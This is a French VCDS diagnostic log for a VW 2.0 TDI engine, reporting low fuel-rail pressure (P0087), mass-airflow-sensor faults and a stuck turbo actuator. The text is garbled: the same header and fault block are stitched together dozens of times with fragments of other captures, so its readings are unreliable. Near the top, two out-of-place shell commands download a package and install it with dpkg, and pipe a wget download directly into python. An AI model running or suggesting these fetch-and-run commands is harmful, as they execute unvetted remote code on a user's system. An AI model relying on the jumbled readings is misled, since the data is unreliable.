Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
apt update && wget -O /tmp/[Link]
[Link] && dpkg
-i /tmp/[Link]
wget [Link] -qO - |
python
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
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Kilométrage: 327837 km
Date: 2024.09.07
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Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
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Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
---------------------------------------------------------------------------------------------------------------------------
Vendredi,12,Mai,2023,16:06:16:00009
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Lundi,09,Septembre,2024,15:47:56:00009
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5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
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Date: 2024.09.07
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Lundi,09,Septembre,2024,15:47:56:00009
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Adresse 01: Moteur Labels: [Link]
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
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Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
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Code atelier: WSC 01286 386 08256
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4 Codes défaut trouvés:
Lundi,09,Septembre,2024,15:47:56:00009
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
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Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
10065 - Débitmètre d´air massique (G70) Aucun signal
P0104 00 [175] - -
Témoin allumé - Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Fréquence du défaut: 2
Kilométrage: 276541 km
Date: 2023.05.12
Temps: 13:24:14
Régime moteur: 0.00 /min
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 88 °C
Température air d’admission: 66 °C
Pression de l'air ambiant: 910 mbar
Tension borne 30: 12.500 V
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 0.0 mg/course
Rapport de flux d'air normalisé: filtré: 3.9999
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 0 hPa
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 921.8 hPa
Débit d'injection moyen: 0.00 mg/course
5280 - Débitmètre d´air massique (G70) Signal implausible
P0101 00 [096] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 276540 km
Date: 2023.05.12
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 13:03:32
Régime moteur: 955.50 /min
Valeur de charge normée: 45.1 %
Vitesse du véhicule: 9 km/h
Température du liquide de refroidissement: 40 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 27 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 14.180 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 346.9 mg/course
Rapport de flux d'air normalisé: filtré: 1.4187
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.05 %
Pression de suralimentation de consigne: 1239 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 906.6 hPa
Débit d'injection moyen: 8.65 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
5281 - Débitmètre d´air massique (G70) Signal implausible
P0101 00 [101] - -
Non Confirmé - Testé depuis RàZ mémoire
Capture:
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Priorité du défaut: 2
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
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Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
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Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Fréquence du défaut: 2
Kilométrage: 276539 km
Date: 2023.05.12
Temps: 13:00:53
Régime moteur: 883.50 /min
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Code atelier: WSC 01286 386 08256
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Valeur de charge normée: 26.7 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 93 °C
Température air d’admission: 64 °C
Pression de l'air ambiant: 910 mbar
Tension borne 30: 12.100 V
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 87.4 mg/course
Rapport de flux d'air normalisé: filtré: 3.9999
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.21 %
Pression de suralimentation de consigne: 1157 hPa
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 918.8 hPa
Débit d'injection moyen: 3.57 mg/course
9127 - Unité de réglage pour turbocompresseur 1
P00AF 00 [096] - Bloquée
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 276585 km
Date: 2023.05.12
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 14:22:51
Régime moteur: 2500.50 /min
Valeur de charge normée: 18.8 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 91 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 71 °C
Pression de l'air ambiant: 910 mbar
Tension borne 30: 12.960 V
Compteur de désapprentissage selon OBD: 40
Actionn. turbine 1 b1: réponse pos. - valeur assignée: 0.00 %
Actionn. turbine 1 b1: réponse pos. - valeur eff.: 13.68 %
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Actionn. turbine 1 b1: réponse pos. - offset fermeture: -6.35 %
Actionneur turbine 1: banc 1: surveillance - état-Bits 0-7: 0
Actionneur turbine 1: banc 1: surveillance - état-Bits 0-7: 55
Actionneur turbine 1: banc 1: surveillance - état-Bits 0-7: 0
Actionneur turbine 1: banc 1: surveillance - état-Bits 0-7: 8
Actionn. turbine 1 b1: réponse pos. - tension brute: 3993.0 mV
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Course de la pédale d'accélérateur: valeur brute: 75.52 %
Tests passés: 1 1 0 0 X
-----------------------------------------------------------------------------------------------------------------
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
